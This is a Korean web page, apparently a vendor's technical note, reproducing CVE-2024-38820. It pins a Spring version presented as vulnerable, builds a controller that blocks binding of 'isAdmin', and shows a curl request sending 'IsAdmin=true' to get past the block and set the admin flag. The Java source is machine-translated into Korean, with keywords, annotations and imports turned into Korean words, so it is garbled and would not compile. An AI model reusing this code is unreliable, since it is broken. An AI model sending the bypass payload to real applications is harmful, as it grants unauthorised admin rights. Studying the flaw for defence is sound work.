다음은 CVE-2024-38820을 재현하는 최소한의 예시로, DataBinder.disallowedField의 대소문자 불일치로 인해 차단되어야 하는 민감한 필드 설정이 어떻게 허용되는지 보여줍니다.
설정:Spring® Boot +Spring® Web (취약 버전)
pom.xml – 취약한Spring® 버전(예: 5.3.39) 사용
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<version>2.7.18</version> <!– Uses Spring® Framework 5.3.39 –>
</dependency>
코드 예시
User.java
공용 클래스 사용자 {
비공개 문자열 사용자 이름;
비공개 부울은 isAdmin입니다;
// Getters and setters
public String getUsername() { return username; }
public void setUsername(String username) { this.username = username; }
public boolean isAdmin() { return isAdmin; }
public void setAdmin(boolean isAdmin) { this.isAdmin = isAdmin; }
}
UserController.java
org.springframework.stereotype.Controller를 가져옵니다;
org.springframework.web.bind.WebDataBinder를 가져옵니다;
org.springframework.web.bind.annotation.*를 가져옵니다;
컨트롤러
@RequestMapping("/user")
공용 클래스 UserController {
초기화 바인더
public void initBinder(WebDataBinder 바인더) {
binder.setDisallowedFields("isAdmin"); // isAdmin의 바인딩을 차단하려고 합니다.
}
포스트 매핑
@ResponseBody
public String createUser(@ModelAttribute User user) {
반환 "사용자 이름: " + user.getUsername() + ", isAdmin: " + user.isAdmin();
}
}
컬 또는 포스트맨을 통한 테스트
✅ 예상 안전 요청
curl -X POST http://localhost:8080/user -d "username=bob&isAdmin=true"
- 결과(예상대로): isAdmin = false
→ 데이터 바인더가 isAdmin 필드를 차단합니다.
❌ 대소문자 변형을 통한 바이패스
curl -X POST http://localhost:8080/user -d "username=bob&IsAdmin=true"
- 결과(예기치 않은 결과): isAdmin = true
→ 대소문자 불일치로 인해 허용되지 않는 필드 확인에 실패했습니다.
기술 지원
문서
로그인
문의하기
